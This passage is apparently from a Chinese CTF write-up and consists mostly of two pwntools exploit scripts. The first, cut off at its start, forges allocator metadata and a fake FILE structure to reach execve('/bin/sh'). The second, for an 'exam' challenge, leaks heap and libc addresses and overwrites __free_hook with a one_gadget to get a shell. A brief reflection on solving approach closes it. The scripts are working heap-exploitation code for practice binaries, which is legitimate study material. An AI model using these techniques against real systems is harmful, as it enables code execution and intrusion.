find(0x40,'6\n')
sh.recvuntil("0x28:")
m=sh.recv(12)
libc_addr=""
for i in range(6):
libc_addr+=m[(5-i)*2]+m[2*(5-i)+1]
libc_base=int(libc_addr,16)-0xcb0+0x1000
free(0x40,'8\n')
free(0x40,'7\n')
forget()
add(0x40,'\x09\n',0x28,'\x09'*0x28)
add(0x40,'\x0b\n',0x28,'\x0b\n')
free(0x40,'\x09\n')
malloc_content=libc_base+0x1aa0
fake_content=p64(libc_base-0x1000+0x50)+p64(malloc_content)+p64(1)+p64(0x28)+p64(0)
add(0x40,'\x0c\n',0x28,fake_content)
find(0x40,'\x00\n')
sh.recvuntil("0x28:")
m=sh.recv(16)
check=""
for i in range(8):
check+=m[(7-i)*2]+m[2*(7-i)+1]
check=int(check,16)
free(0x40,'\x0c\n')
free(0x40,'\x0b\n')
add(0x40,'\x0d\n',0x40,'\x0d\n')
add(0x40,'\x0e\n',0x28,'\x0e\n')
free(0x40,'\x0d\n')
free(0x40,'\x0e\n')
forget()
fake_mem_addr=libc_base-0xc000+0x1000+0x40
fake_meta_addr=libc_base-0xc000+0x1000+0x10
add(0x40,'\x0f\n',0x28,'\x0f\n')
stdout_addr=libc_base+0x12e0
stderr_addr=libc_base+0x10e0
stdout_use_addr=libc_base+0x1410
execve_addr=libc_base-0x259323
sc = 8
freeable = 1
last_idx = 0
maplen = 1
fake_meta = ''
fake_meta += p64(fake_mem_addr+0x10) # prev
fake_meta += p64(stdout_use_addr) # next
fake_meta += p64(fake_mem_addr) # mem
fake_meta += p32(0) + p32(0) # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)
fake_mem=p64(fake_meta_addr)
fake_mem += p32(1)
fake_mem += p32(0)
fake_io='/bin/sh\x00'+'a' * 32+p64(0xdeadbeef) + 'x' * 8 + p64(0xbeefdead)+p64(execve_addr) + p64(execve_addr)
payload='\x00'*(0x1000-0x20)
payload+=p64(check)+p64(0)
payload+=fake_meta
payload+=fake_mem
payload+=fake_io
add(0x40,'\x10\n',0x2000,payload.ljust(0x2000,'\x00'))
add(0x40,'\x11\n',0x2000,'\x11\n')
free(0x40,'\x0f\n')
fake_content=p64(libc_base+0x48e0+0x10)+p64(fake_mem_addr+0x10)+p64(1)+p64(0x28)+p64(0)
add(0x40,'\x12\n',0x28,fake_content)
free(0x40,'\x35\n')
gdb.attach(sh)
sh.sendlineafter("option: ","5")
# free(0x40,'\x10\n')
# add(0x40,'\x13\n',0x80,'a\n')
# sc = 8
# last_idx=1
# payload=''
# payload+='\x00'*(0x1000-0x20-0x10)
# payload+=p64(check)+p64(0)
# payload+=p64(fake_meta_addr)+p64(fake_meta_addr)
# payload+=p64(stdout_addr-0x20-0x20)
# payload+=p32(1) + p32(0)
# payload+=p64((sc << 6) | last_idx)
# add(0x40,'\x14\n',0x2000,payload+'\n')
# add(0x40,'\x15\n',0x80,'ssss\n')
sh.interactive()
exp()

0x3 exam

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *
context.log_level="debug"
sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/ld-2.31.so', './pwn'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so'})
libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')

def add_student(num_questions):
sh.recvuntil("choice>> ")
sh.sendline("1")
sh.recvuntil("enter the number of questions:")
sh.sendline(str(num_questions))

def give_sorce():
sh.recvuntil("choice>> ")
sh.sendline("2")

def write_review(i,idx,size,content='a'):
sh.recvuntil("choice>> ")
sh.sendline("3")
sh.recvuntil("which one? > ")
sh.sendline(str(idx))
if i==0:
sh.recvuntil("please input the size of comment: ")
sh.sendline(str(size))
sh.recvuntil("enter your comment:\n")
sh.send(content)

def free(idx):
sh.recvuntil("choice>> ")
sh.sendline("4")
sh.recvuntil("which student id to choose?")
sh.sendline(str(idx))

def change_role(i):
sh.recvuntil("choice>> ")
sh.sendline("5")
sh.recvuntil("role: <0.teacher/1.student>: ")
sh.sendline(str(i))

def set_mode(i,content,score=100):
sh.recvuntil("choice>> ")
sh.sendline("4")
if i==0:
sh.recvuntil("enter your mode!\n")
sh.send(content)
else:
sh.recvuntil("enter your pray score: 0 to 100\n")
sh.sendline(str(score))

def change_id(id):
sh.recvuntil("choice>> ")
sh.sendline('6')
sh.recvuntil("input your id: ")
sh.sendline(str(id))

def pray():
sh.recvuntil("choice>> ")
sh.sendline('3')

def check_review():
sh.recvuntil("choice>> ")
sh.sendline('2')

def check_review():
sh.recvuntil("choice>> ")
sh.sendline('2')

def get_addr():
sh.recvuntil("Good Job! Here is your reward! ")
m=int(sh.recv(14),16)
return m
def nptr_add(nptr):
sh.recvuntil("add 1 to wherever you want! addr: ")
sh.send(str(nptr))

duan='b *(0x7ffff7fc2000+{0})'.format(0x1E45)
#gdb.attach(sh,duan)
def exp():
sh.recvuntil("role: <0.teacher/1.student>: ")
sh.sendline('0')
add_student(1)
write_review(0,0,0x100,'/bin/sh\x00')
add_student(1)
write_review(0,1,0xa0)
add_student(1)
write_review(0,2,0x350)
add_student(1)
write_review(0,3,0xa0)
add_student(1)
write_review(0,4,0x20,'/bin/sh\x00')
change_role(1)
pray()
change_id(1)
pray()
change_id(2)
pray()
change_id(3)
pray()
change_id(4)
pray()
change_role(0)
give_sorce()
change_role(1)
check_review()
heap_base=get_addr()-0x2a0
nptr_add(heap_base+0x549)
change_role(0)
free(2)
change_role(1)
change_id(1)
check_review()
get_addr()
nptr_add(heap_base+0x441)
libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ecbe0
free_malloc=libc_base+libc.sym["__free_hook"]
change_id(3)
check_review()
get_addr()
nptr_add(heap_base+0x8f1)
change_role(0)
pay='\x00'*0xa0+p64(0x460)+p64(0x30)+p64(heap_base+0x9e0)
pay+=p64(0)*2+p64(1)+p64(0)+p64(0x21)+p64(0xfffffff700000001)
pay+=p64(free_malloc)+p64(0x20)
write_review(1,3,0x1a0,pay)
write_review(1,4,0x20,p64(libc_base+0xe3b31))
gdb.attach(sh)
free(0)
sh.interactive()
exp()

0x4 总结

感觉自己有点流于形式了,在看pwn1的时候一看到calloc就想着怎么绕过,完全没考虑程序本身,哎,所以浪费了很多时间,现在看来是一道比较简单的题,所以一切都要以程序为本,切记切记。